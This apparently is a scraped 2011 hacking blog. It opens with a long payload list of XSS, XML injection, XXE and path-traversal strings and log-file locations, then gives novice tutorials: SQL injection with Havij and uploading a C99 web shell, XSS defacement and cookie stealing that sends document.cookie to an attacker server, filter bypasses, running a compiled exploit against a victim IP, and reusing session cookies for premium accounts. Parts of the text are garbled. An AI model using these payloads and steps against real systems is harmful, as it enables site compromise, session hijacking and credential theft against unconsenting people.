% 3cscript% 3ealert ("XSS");% 3c/script% 3e
% 3cscript% 3ealert (document.cookie);% 3c% 2fscript% 3e
% 3Cscript% 3Ealert (% 22X% 20SS% 22);% 3C/script% 3E
& Ltscript & gtalert (document.cookie); </ script>
& Ltscript & gtalert (document.cookie); & ltscript & gtale rt
<xss> <script> alert ('XSS') </ script> </ vulnerable>
<IMG% 20SRC = 'javascript: Alert (document.cookie) '>
<IMG SRC = "javascript: Alert ('XSS');">
<IMG SRC = "javascript: Alert ('XSS') "
<IMG SRC = javascript: Alert ('XSS')>
<IMG SRC = javascript: Alert ('XSS')>
<IMG SRC = javascript: Alert ("XSS")>
<IMG SRC = `javascript: Alert ("'XSS'")`>
<IMG """> <SCRIPT> Alert ("XSS") </ SCRIPT> ">
<IMG SRC = javascript: Alert (String.fromCharCode (88,83,83))>
<IMG%20SRC='javasc Ript:alert(document.cookie)'>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');">
<IMG SRC = "javascript: Alert ('XSS');">
<IMG DYNSRC = "javascript: Alert ('XSS') ">
<IMG LOWSRC = "javascript: Alert ('XSS') ">
<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%2 3x6c;ert(document.%26%23x63;ookie)'>
<IMG SRC = javascript: Alert ('XSS')>
<IMG SRC = javascript: Alert ('XSS')>
<IMG SRC = javascrip & # x74: alert ('X & # x53S' & # x29>
'% 3CIFRAME% 20SRC = javascript: Alert (% 2527XSS% 2527)% 3 E% 3C/IFRAME% 3E
"> <script> Document.location = 'http://your.site.com/cgi-bin/cookie.cgi?' + Document.cookie </ script>
% 22% 3E% 3Cscript% 3Edocument% 2Elocation% 3D% 27http% 3A% 2F% 2Fyour% 2Esite% 2Ecom% 2Fcgi% 2Dbin% 2Fcookie% 2Ecgi% 3F%

27% 20% 2Bdocument% 2Ecookie% 3C% 2Fscript% 3E

'';!--"< XSS >=&{()}

XML

count (/ child:: node ())
x 'or name () =' username 'or' x '=' y
<name>','')); phpinfo (); exit ;/*</ name>
<! [CDATA [<script> var n = 0; while (true) {n ++;}</ script>]]>
<! [CDATA [<]]> SCRIPT <! [CDATA [>]]> alert ('XSS');<![ CDATA [<]]>/ SCRIPT <! [CDATA [>]]>
<? Xml version = "1.0"
<? Xml version = "1.0" encoding = "ISO-8859-1"?> <foo> <! [CDATA ['or 1 = 1 or''=']]></ foo>
<? Xml version = "1.0" encoding = "ISO-8859-1 "?><! DOCTYPE foo [<! ELEMENT foo ANY> <! ENTITY xxe SYSTEM" file: / / c: /

boot.ini ">]> <foo> &xxe; </ foo>
<? Xml version = "1.0" encoding = "ISO-8859-1 "?><! DOCTYPE foo [<! ELEMENT foo ANY> <! ENTITY xxe SYSTEM" file ://// etc /

passwd ">]>< foo> &xxe; </ foo>
<? Xml version = "1.0" encoding = "ISO-8859-1 "?><! DOCTYPE foo [<! ELEMENT foo ANY> <! ENTITY xxe SYSTEM" file ://// etc /

shadow ">]>< foo> &xxe; </ foo>
<? Xml version = "1.0" encoding = "ISO-8859-1 "?><! DOCTYPE foo [<! ELEMENT foo ANY> <! ENTITY xxe SYSTEM" file ://// dev /

random ">]>< foo> &xxe; </ foo>
<xml ID=I> <X> <C> <! [CDATA [<IMG SRC="javas]]> <! [CDATA [cript: alert ('XSS');">]]>
<xml ID="xss"> <I> <B> <IMG SRC = "javas <! - -> cript: alert ('XSS')"></ B> </ I> </ xml > <SPAN DATASRC="#xss"

DATAFLD="B" DATAFORMATAS="HTML"> </ SPAN> </ C> </ X> </ xml> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> < / SPAN>
<xml SRC="xsstest.xml" ID=I> </ xml> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </ SPAN>
<HTML Xmlns:xss> <? Import namespace = "xss" implementation = "http://ha.ckers.org/xss.htc"> <xss:xss> XSS </ xss: xss> </

HTML>

Traversal

.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / hosts% 00
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / hosts
.. / .. / Boot.ini
/../../../../../../../../% 2A
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / passwd% 00
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / passwd
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / shadow% 00
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / shadow
/../../../../../../../../../../ Etc / passwd ^ ^
/../../../../../../../../../../ Etc / shadow ^ ^
/../../../../../../../../../../ Etc / passwd
/../../../../../../../../../../ Etc / shadow
/./././././././././././ Etc / passwd
/./././././././././././ Etc / shadow
\ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Etc \ passwd
\ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Etc \ shadow
.. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Etc \ passwd
.. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Etc \ shadow
/ .. \ ../.. \ ../.. \ ../.. \ ../.. \ ../.. \ .. / Etc / passwd
/ .. \ ../.. \ ../.. \ ../.. \ ../.. \ ../.. \ .. / Etc / shadow
. \ \. /. \ \. /. \ \. /. \ \. /. \ \. /. \ \. / Etc / passwd
. \ \. /. \ \. /. \ \. /. \ \. /. \ \. /. \ \. / Etc / shadow
\ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Etc \ passwd% 00
\ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Etc \ shadow% 00
.. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Etc \ passwd% 00
.. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Etc \ shadow% 00
% 0a/bin/cat% 20/etc/passwd
% 0a/bin/cat% 20/etc/shadow
00% 00/etc/passwd%
00% 00/etc/shadow%
% 00../../../../../../etc/passwd
% 00../../../../../../etc/shadow
/../../../../../../../../../../../ Etc / passwd% 00.jpg
/../../../../../../../../../../../ Etc / passwd% 00.html
/ ..% C0% af ../..% c0% af ../..% c0% af ../..% c0% af ../..% c0% af ../..% c0 % af.. / etc / passwd
/ ..% C0% af ../..% c0% af ../..% c0% af ../..% c0% af ../..% c0% af ../..% c0 % af.. / etc / shadow
/% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e / etc / passwd
/% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e / etc / shadow
% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% May 2% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c

..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 00
/% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% May 2% 5c ..% 25% 5c .. % 25% 5c ..% 25% 5c ..% 25% 5c

..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 00
% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% May 2% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c

..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 00
% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% May 2% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c

..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 255cboot.ini
/% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% 25% 5c ..% May 2% 5c ..% 25% 5c .. % 25% 5c ..% 25% 5c ..% 25% 5c

..% 25% 5c ..% 25% 5c ..% 25% 5c..winnt/desktop.ini
\ \ '/ Bin / cat% 20/etc/passwd \ \'
\ \ '/ Bin / cat% 20/etc/shadow \ \'
.. / .. / .. / .. / .. / .. / .. / .. / Conf / server.xml
/../../../../../../../../ Bin / id |
C: / inetpub / wwwroot / global.asa
C: \ inetpub \ wwwroot \ global.asa
C: / boot.ini
C: \ boot.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Localstart.asp% 00
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Localstart.asp
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Boot.ini% 00
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Boot.ini
/./././././././././././ Boot.ini
/../../../../../../../../../../../ Boot.ini% 00
/../../../../../../../../../../../ Boot.ini
/ .. \ ../.. \ ../.. \ ../.. \ ../.. \ ../.. \ .. / Boot.ini
/. \ \. /. \ \. /. \ \. /. \ \. /. \ \. /. \ \. / Boot.ini
\ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Boot.ini
.. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Boot.ini% 00
.. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ .. \ Boot.ini
/../../../../../../../../../../../ Boot.ini% 00.html
/../../../../../../../../../../../ Boot.ini% 00.jpg
/.../.../.../.../.../
..% C0% af ../..% c0% af ../..% c0% af ../..% c0% af ../..% c0% af ../..% c0% af.. / boot.ini
/% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e /% 2e% 2e / boot.ini

IRIX:

/ Var / adm / SYSLOG
/ Var / adm / sulog
/ Var / adm / utmp
/ Var / adm / utmpx
/ Var / adm / wtmp
/ Var / adm / wtmpx
/ Var / adm / lastlog / username
/ Usr / spool / lp / log
/ Var / adm / lp / lpd-errs
/ Usr / lib / cron / log
/ Var / adm / loginlog
/ Var / adm / pacct
/ Var / adm / dtmp
/ Var / adm / acct / sum / loginlog
/ Var/adm/X0msgs
/ Var / adm / crash / vmcore
/ Var / adm / crash / unix

AIX:

/ Var / adm / pacct
/ Var / adm / wtmp
/ Var / adm / dtmp
/ Var / adm / qacct
/ Var / adm / sulog
/ Var / adm / ras / errlog
/ Var / adm / ras / bootlog
/ Var / adm / cron / log
/ Etc / utmp
/ Etc / security / lastlog
/ Etc / security / failedlogin
/ Usr / spool / mqueue / syslog

SunOS:

/ Var / adm / messages
/ Var / adm / aculogs
/ Var / adm / aculog
/ Var / adm / sulog
/ Var / adm / vold.log
/ Var / adm / wtmp
/ Var / adm / wtmpx
/ Var / adm / utmp
/ Var / adm / utmpx
/ Var / adm / log / asppp.log
/ Var / log / syslog
/ Var / log / POPlog
/ Var / log / authlog
/ Var / adm / pacct
/ Var / lp / logs / lpsched
/ Var / lp / logs / lpNet
/ Var / lp / logs / requests
/ Var / cron / log
/ Var / saf / _log
/ Var / saf / port / log

Linux:

/ Var / log / lastlog
/ Var / log / telnetd
/ Var / run / utmp
/ Var / log / secure
/ Root / .ksh_history
/ Root / .bash_history
/ Root / .bash_logut
/ Var / log / wtmp
/ Etc / wtmp
/ Var / run / utmp
/ Etc / utmp
/ Var / log
/ Var / adm
/ Var / apache / log
/ Var / apache / logs
/ Usr / local / apache / log
/ Usr / local / apache / logs
/ Var / log / acct
/ Var / log / xferlog
/ Var / log / messages
/ Var / log / proftpd / xferlog.legacy
/ Var / log / proftpd.access_log
/ Var / log / proftpd.xferlog
/ Var / log / httpd / error_log
/ Var / log / httpd / access_log
/ Etc / httpd / logs / access_log
/ Etc / httpd / logs / error_log
/ Var / log / httpsd / ssl.access_log
/ Var / log / httpsd / ssl_log
/ Var / log / httpsd / ssl.access_log
/ Etc / mail / access
/ Var / log / qmail
/ Var / log / smtpd
/ Var / log / samba
/ Var / log / samba-log.% M
/ Var / lock / samba
/ Root / .Xauthority
/ Var / log / poplog
/ Var / log / news.all
/ Var / log / spooler
/ Var / log / news
/ Var / log / news / news
/ Var / log / news / news.all
/ Var / log / news / news.crit
/ Var / log / news / news.err
/ Var / log / news / news.notice
/ Var / log / news / suck.err
/ Var / log / news / suck.notice
/ Var / spool / tmp
/ Var / spool / errors
/ Var / spool / logs
/ Var / spool / locks
/ Usr / local / www / logs / thttpd_log
/ Var / log / thttpd_log
/ Var / log / ncftpd / misclog.txt
/ Var / log / ncftpd.errs
/ Var / log / auth

Red Hat, Mac OS X

/ Var / log / httpd / access_log
/ Var / log / httpd / error_log

Solaris

/ Var / apache / logs / access_log
/ Var / apache / logs / error_log

SuSE Linux Enterprise Server

/ Var / log / httpd / access_log
/ Var / log / httpd / error_log

Lampp

/ Opt / lampp / logs / error_log
/ Opt / lampp / logs / access_log

Debian

/ Var / log / apache / access.log
/ Var / log / apache / error.log
/ Var / log / apache-ssl / error.log
/ Var / log / apache-ssl / access.log

FreeBSD

/ Usr / local / etc / httpd / logs / access_log
/ Usr / local / etc / httpd / logs / error_log

OpenBSD

/ Var / www / log / access_log
/ Var / www / log / error_log

Get Free YouTube Views

2011-09-23T23:51:00.000-07:00

Get Free YouTube Views

Ok heres what you do, FIRST sign up by clicking HERE

Then click Surf

Located on the top right.

Leave it up over night and you'll get big numbers after a couple of days xD

When you have enough credits goto your "control panel" then "My Videos" and add your video with views.

Works great for me

How To USE Cookies In Firefox With pics N00b Friendly

2011-09-17T23:37:00.000-07:00

Step 1. Start firefox

Step 2. Go to Tools

Step 3. There go to Add-ons

Step 4. In Add-ons press Get Add-ons

Step 5. Search for "cookie"

Step 6. Install the one named "Edit Cookies"

and restart firefox

Step 7. Then go to filehost site you want to

login as premium

Step 8. Login with non premium account.

Step 9. Go to tools again and select "Edit

cookie" from bottom

Step 10. When you open it there is empty box

put in there "megaupload" then press

Filter/refresh button

Step 11. In there you should see cookie named

"user" click on it and then click on button

"edit"

Step 12. Then there should pop-up "add/edit

cookie" window. Fill in there the content you

have been given

Step 13. Then just Press "save". Close cookie

editor

Step 14. Refresh the site and there it is

premium account

For Other Websites Use These Locations

megaupload.com....................user

hotfile.com.......................auth

rapidshare.com....................enc

netload.in........................cookie _user

depositfiles.com..................autolo gin

oron.com..........................xfss

filesonic.com.....................PHPSES SID

fileserve.com.....................PHPSES SID

Cheers Friends

Web Bypass Tutorial

2011-09-16T07:29:00.000-07:00

In this tutorial I'll be showing you how to bypass a filtered network just by following some simple steps. Instead of using a proxy server that uses non-standard ports, I'll be showing you another expolit in an easier way. We'll use the expolit found in the URL mechanism itself. The ideas works as follows:

Converting the URL to an IP address and then to its binary representation or equivalent. This kind of exploit can be used commonly on Mozilla and Netscape. Enjoy bypassing websites at your college, though I don't hold any reponsibility on how you tend to use this information whatsoever.

Use at your own risk !!!

Keep in mind that there are two kinds of filtered network. There is the software and hardware side. In this tutorial we'll be introduing the software side of them.

Step 1:

Get the IP address for the web site you need to bypass.

For example, undergroundsystems (Underground Systems) blocked in Web-content filtering software has this IP address: 72.29.78.187

I obtained the web domain IP address by pinging the site in command prompt console.

Step 2:

Convert each individual number in the IP address to an eight-digit binary number.

Note: Numbers having fewer than eight digits in their binary form must be padded with leading zeros to fill in the missing digits. For example, the binary number 1 is padded to 00000001 by adding seven zeros before the number one.

Each IP address that uses IPv4, is a 32 bit binary number, therefore 4 bytes in total. So we need to convert each quad dotted binary number in the IP address to its binary number.

For each number:

72 = 01001000

29 = 00011101

78 = 01001110

187 = 10111011

The windows Calculator can automatically convert numbers from decimal to binary notation:

i. Choose View -> Scientific.
ii. Click the Dec option button.
iii. Enter the number in decimal value.
iv. Click the Bin option button to show the number in binary format.

Step 3:

Assemble or group the four 8 digit binary numbers into one 32-digit binary number.

01001000000111010100111010111011

Note: Don't add the binary numbers. Just organize them in the same order as the original IP address without the separating periods.

Step 4:

Convert the 32-digit binary number to a decimal number.

For example, the 32-digit binary number 01001000000111010100111010111011 is equal to the decimal number 1209880251.

The decimal number doesn't need to be padded to a specific length.

Step 5:

Plug the decimal number into the Web browser's address field, like this:

http://1209880251

Viola, the Web Page loads easy as pie!

Note: The preceding steps will not bypass URL's in Internet Explorer (though in some cases it still works).

Countermeasures.

If the bypassing of certain Web-content filters is an issue for your network, ask your content-filtering vendor if it has a solution for it :p

Happy Hacking

How to change your MAC address

2011-09-16T05:36:00.000-07:00

There are many reasons why you might choose to change your MAC address. Here is a guide on how to do it!

Linux:

Find the MAC address of your machine by typing this in terminal:

ifconfig -a | grep HWaddr

Then, sign in as root and do the following:

ifconfig eth0 down
ifconfig eth0 hw ether [NEW MAC ADDRESS HERE]
ifconfig eth0 up
ifconfig eth0 |grep HWaddr

Your new MAC address can be any 48 bit hexadecimal address.

Windows:
Pull up your windows menu, then go to Control Panel > Hardware and Sound > Device Manager > expand the Network Adapters section and pick your network device. Right click on it and choose properties. When a box pops up, go to the Advanced tab, select “Network Address” in a list, and select the radio button next to the blank Value field and enter the new MAC address.

Keep in mind:
Changing your MAC address is not permanent. After rebooting your computer, the machine will show the MAC address burnt into your network card, not the one you chose.

How To Sqli a website Using Software N00b Friendly

2011-09-11T01:36:00.000-07:00

Thing You Need
Havij
C99 Shall
and
Adminpage Finder

now open Havij and enter you website in the url bar

Image exceeds set limits. Click to view full size image

and then push the analyze button

Image exceeds set limits. Click to view full size image

You Should See this afterwards

Image exceeds set limits. Click to view full size image

and then push the tables button and you will see the database

Image exceeds set limits. Click to view full size image

now click the Get Tables Button

Image exceeds set limits. Click to view full size image

now click on the user table and click Get Columns

Image exceeds set limits. Click to view full size image
Now Click On The User And Password Column And Push Get Data

Image exceeds set limits. Click to view full size image

The First Username And Password You See Should Be The Administrator
Now Open You Admin Page Finder And Put In The URL

Image exceeds set limits. Click to view full size image

And Click The Scan Button

Image exceeds set limits. Click to view full size image

Once You find The Page visit It in your web browser

Image exceeds set limits. Click to view full size image

Now Login With The Username And Pass You found in the database
Now If your website is a CMS like myn there should be a sidebar
or navigation menu somewhere and theres always a place to
upload images in my case the news

Now Rename the c99 script ANYTHING.PHP.JPG and upload it

Image exceeds set limits. Click to view full size image

now find the directory where the images are and goto your shell

Image exceeds set limits. Click to view full size image

And Now Your Done

How To Install Windows 7 Vista From USB Drive 100% working

2011-09-10T05:00:00.000-07:00

This Tutorial will show you how to make your USB BOOTABLE for Windows 7/ Vista.

Having a bootable USB is very essential, especially if you are a Notbook user. Using bootable USB to install an operating system (OS) not only makes the

installation faster, but also saves a DVD.

The main and biggest advantage that Installing windows 7/ Vista From USB is very fast it takes almost 20 to 30 minutes Only.

Note that this bootable USB guide will not work if you are trying to make a bootable USB on XP computer.

For this you require:

1)Atleast 4Gb USB DRIVE

2) Windows 7/ Vista installation files.

The method is very simple and you can use without any hassles. Needless to say that your motherboard should support USB Boot feature to make use of the bootable USB drive.

Just follow these steps.

NOTE: write commands correctly with spaces where require.

1) Open Command Prompt as administrator rights.

To access Command Prompt as administrator, Write "cmd" in start menu search box and hit CTRL+SHIFT+ENTER.

2) In Command Prompt write "DISKPART".

3) Now type "List DISK".

4) Now select the disk which is your USB. It may be (Disk 1, disk 2, or Disk 3) so choose carefully. Here mine its Disk 3.
Format should be right this( select disk 3).

5) Now write "CLEAN" and hit "ENTER".

6) Type"CREATE PARTITION PRIMARY".

7) Type "SELECT PARTITION 1".

8) Type "ACTIVE".

9) Type "FORMAT FS=NTFS". ( Formating will take some time 10 to 15 minutes).

10) Type "ASSIGN".

11) Type "EXIT".

This is how the whole procedure looks.

Dont close Command Prompt as we need it.

Now insert Windows 7/Vista Dvd in the DVD-ROM.

12) Type "D: CD BOOT". (Name the drive which contain windows 7/Vista.)

13) Type "CD BOOT" again.

14) Type "BOOTSECT.EXE /NT60 G:" (Here I wrote G: because after formating in step 9 the drive name wil change automatically so check it before commanding). G: is USB DRIVE.

Given above command is to update the USB drive with BOOTMGR compatible code.

This will show full procedure.

Done. Close Command Prompt and copy Windows 7/Vista DVD contents into USB Drive.

Note: Before using USB as your boot device, Change boot priority from BIOS to USB. If you dont change Boot Priority USB will not Boot.

My Tutorails are fully workable and tested by me so there is no need to worry about anything. I told each and every step so that no one will have any
problem.

How to Recover Windows 7 Password~Windows Password Killer Tool

2011-09-07T00:02:00.000-07:00

Here i am going to introduce a new tool named as Windows Password Killer. It enables you remove windows 7 password to reset the administrator, standard user and guest passwords easily without any data losing or file damage.

There is 3 different editions - the Lite, Pro and Ultimate, here we take the Pro edition as an example for the password remove process with USB drive (CD/DVD also supported too).

Requirements:
1. Any Accessible Computer.
2.USB Drive or CD/DVD

Step 1: Install Password Killer
Download the Windows Windows Password Killer from Here.
Install the windows Password Killer in your friends or any accssible computer.

Step 2:Burn a bootable CD/DVD or an USB drive

Insert the USB Drive or CD/DVD.
Run the Windows Password Killer.
Select the USB drive or CD/DVD.
click the Create button.
It will ask you to verify whether you select correct disk or not. Click "Yes" button.

Step 3: Boot from USB Drive OR CD/DVD
Now let us come to our locked computer.

Insert your USB Drive before turn on the system(if you are using CD/DVD, you have to turn on and insert).
Now turn on the system, press F10 or F12(it may vary for your system) to choose the booting device.
Select the USB drive or CD/DVD.

It will boot into Windows Password Killer.

Step4 : Reseting Password
After program starts, select Windows 7 system on the start page, click 'Next'.

Select your target user accounts, and then click 'Next' to proceed the Windows 7 password recovery/unlock process.

The Windows 7 Administrator password or other user accounts password is reset successfully now. Take out the password reset CD/DVD, click 'Reboot' to restart your computer.

Done!

Cross Site Scripting (XSS) N00b

2011-09-03T23:01:00.000-07:00

To start finding these Vulnerabilities you can start checking out Blogs, Forums, Shoutboxes, Comment Boxes, Search Box's, there are too many to mention.

Using 'Google Dorks' to make the finding easyier, Ok if you wanna get cracking, goto google.com and type inurl:"search.php?q=" now that is a common page and has alot
of results. Also note that most sites have XSS Vulnerabilities, its just having a good
eye, and some good knowledge on how to bypass there filteration.

Basics of XSS
Well now lets start learning some Actual Methods, the most common used XSS
injection is :

<script>alert("W1n_h4ck3r")</script>

now this will alert a popup message, saying "W1n_h4ck3r" without quotes.

So,use "search.php?q=" and you can simple try the following on a website with the
same thing,

http://website.com/search.php?q=<script>alert("W1n_h4ck3r")</script>

There are good chances of it working, but dont be worried if it dont, just try diffrent sites. You can insert HTML not just javascript :

http://website.com/search.php?q=<br><br><b><u>W1n_h4ck3r</u></b>

How to Deface a Website using XSS ?
Well now you understand how XSS works, we can explain some simple XSS deface methods, there are many ways for defacing i will mention some of the best and most used, the first one being IMG SCR, now for those of you who dont know html, IMG SCR
is a tag, that displays the IMAGE linked to it on the webpage.

<html><body><IMG SRC="http://website.com/yourDefaceIMAGE.png"></body></html>

ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything
that shows your data after you submitted it you could insert the following to make the picture display on the page.

<IMG SRC="http://site.com/yourDefaceIMAGE.png">

The other tags are not needed has the page will already have them. Ok it helps to
make your picture big so it stands out and its clear the site got hacked. Another
method is using FLASH videos, its the same has the method below but a more stylish deface.

<EMBED SRC="http://site.com/xss.swf"

That will execute the flash video linked to it. Or maybe using a pop or redirection as :
<script>window.open( "http://tools-andtipsbywinhacker.blogspot.com/" )</script>

There are many others ways that you can found using Google or other website. Mine purpose is to make you understand the concept :)

How to Cookie Stealing using XSS ?
I decided to add this has its the most usefull method of XSS. First learn how to make cookie logger from here: How To Make A Cookie Stealer Php script ?

ok now you have it save it has a .php file and upload to your server, remember to
create the file 'log.txt' too
and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do.
ok now your gonna want to insert this code.

window.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

or

document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen
the second one is more stealth. Watch your file now for cookies, then you can hijack there session :D

but now you ask what if my site has not got, this kind of attack, it only shows data once and dont store it. Well lets say we had a page search.php?q= we can use the following code to make a maliouc url from it and maybe hex, base64 encode it so people cant see the code

http://site.com/search.php?q=document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

How to Bypass Filtration ?
Alot of sites may seem vulnerable but not executing the code, well to solve this read
this. Some common methods to bypass filtration is

')alert('xss');

or

");alert('xss');

that will do the same thing has <script>alert("XSS")</script> on a vulnerable server.
You can also try hexing or base64 encoding your data before you submit, Please note
its bad practice to use alert("XSS") to test for XSS, because some sites block the
keyword "XSS" before so we using "W1n_h4ck3r".

Some other ways to bypass filtration
website.com/search.php?q="><script>alert('W1n_h4ck3r')</script>
website.com/search.php?q="><script>alert("W1n_h4ck3r")</script>
website.com/search.php?q="><script>alert("W1n_h4ck3r");</script>
website.com/search.php?q="><script>alert(/W1n_h4ck3r");</script>
website.com/search.php?q=//"><script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=abc<script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=abc"><script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=abc"></script><script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=abc//abc"></script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=000"><script></script><script>alert(W1n_h4ck3r);</script>
website.com/search.php?q=000abc</script><script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=--<script>"></script>alert(/W1n_h4ck3r/);</script>
website.com/search.php?q=pwned<script>document.write('W1n_h4ck3r');</script>
website.com/search.php?q=pwned</script><script>document.write(W1n_h4ck3r);</script>
website.com/search.php?q=pwned')alert(W1n_h4ck3r);//
website.com/search.php?q=pwned";)alert(W1n_h4ck3r);//
website.com/search.php?q=pwned");alert(/W1n_h4ck3r/);//
website.com/search.php?q=pwned//"></script><script>location.href='javascript:alert(/W1n_h4ck3r/);</script>
website.com/search.php?q="><img src='javascript:alert('W1n_h4ck3r');'>
website.com/search.php?q="><script src='http://Evil js'</script>

Advanced XSS - way to bypass magic quotes filtration:
Ok now we are going to learn about some good techniqes. I have came across many
sites where 'Magic Quotes' is on and therfore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table here

ASCII LINK
ASCII LINK 2

This will help you write what you want, In my examples ill be writing "HOC" this is the following code

72 79 67

Ok now we got the Decimal value of our string, we need to know what function in javascript converts this.

String.fromCharCode()

is suitable for this kinda things, its easy to setup, im gona give it my args below.

String.fromCharCode(72, 79, 67)

Ok now "String.fromCharCode(72, 79, 67)" Is a JAVA (ASCII) way of saying "HOC".
And to use this with alerts etc, you dont need to use quotes, as it acts as a variable.

<script>alert(String.fromCharCode(72, 79, 67))</script>

For More Script Coding Of XSS Visit

-: Reveal *****(Asterisk) Passwords Using Javascript N00b Friendly:-

2011-08-30T00:30:00.000-07:00

Want to Reveal the Passwords Hidden Behind Asterisk (****) ?

Follow the steps given below-

1) Open the Login Page of any website. (eg. http://mail.yahoo.com)

2) Type your 'Username' and 'Password'.

3) Copy and paste the JavaScript code given below into your browser's address bar and press
'Enter'.

javascript: alert(document.getElementById('Passwd').value);

4) As soon as you press 'Enter', A window pops up showing Password typed by you..!

Note :- This trick may not be working with firefox.

Solution How to compile Exploits For N00b Friendlly

2011-08-27T22:28:00.000-07:00

An exploit is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerized).This frequently includes such things as violently gaining control of a computer system or allowing privilege escalation or a denial of service attack.A ' remote exploit ' works over a network and exploits the security vulnerability without any prior access to the vulnerable system. A ' local exploit ' requires prior access to the vulnerable system and usually increases the privileges of the person running the exploit past those granted by the system administrator.Exploit is a code built in C, VB or other language etc that takes advantage of an open port or a vulnerability.This guide will teach you how to compile an exploit in cygwin.
In the following steps I will show you how to compile an exploit using a port 5000 exploit, but you can do the same for other ports just download their exploit from:

Google.com
Securiteam.com
K-otik.com
Astalavista.box.sk
Coromputer.net
Securityfocus.com
(Search the exploit as: \"Exploit for PORT NUMBER\")

Step 1
Download port 5000 exploit, usually the exploits come as .txt and you need to change them to .c
--------------------------------------------------------------------------------------------------------
Download

---------------------------------------------------------------------------------------------------------
After downloading and extracting the port 5000 Exploit we need to compile it (covert it to .exe), In order to compile the exploit we need the \"Cygwin\" program.
----------------------------------------------------------------------------------------------------------
Download
----------------------------------------------------------------------------------------------------------

Step 2
Open the Cygwin setup.exe and install it by the following pictures:

Step 3
After installing the program we need to compile the exploit, place the 5000.c exploit in C:\\cygwin\\bin then run the command line from
Start -> Run -> cmd
in the command prompt type:
CD c:\\cygwin\\bin
gcc 5000.c -o 5000.exe
(CD = Open)
Or follow the picture:

Step 4
After we finshed to compiled the exploit we can use it! =) . In order to connect the the victims computer that has port 5000 open in this case..
Open the command line by
Start –> Run
then type:
CD c:\\cygwin\\bin
5000.exe XXX.XXX.XXX.XXX –e
(XXX.XXX.XXX.XXX = Victim\'s IP address)
Or follow by the picture:

You are connected !!!

NOTE -
For C and C++ under windows use Bloodshed or another windows compiler.
For C under linux use gcc. gcc -o exploit.c exploit
For perl for windows go download active perl and usage is: perl exploit.pl
For perl under linux use: perl exploit.pl
For .sh under linux use: source exploit.sh

Login Form Bypass using Mantra Security Toolkit

2011-08-25T06:57:00.000-07:00

Hi All,

In this tutorial we will try to bypass login form of vulnerable website using Mantra Security Toolkit

What all you need

1. Mantra Security Toolkit - Download

2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6

Let's begin,

Step 1:

I'm on the home page of the website now

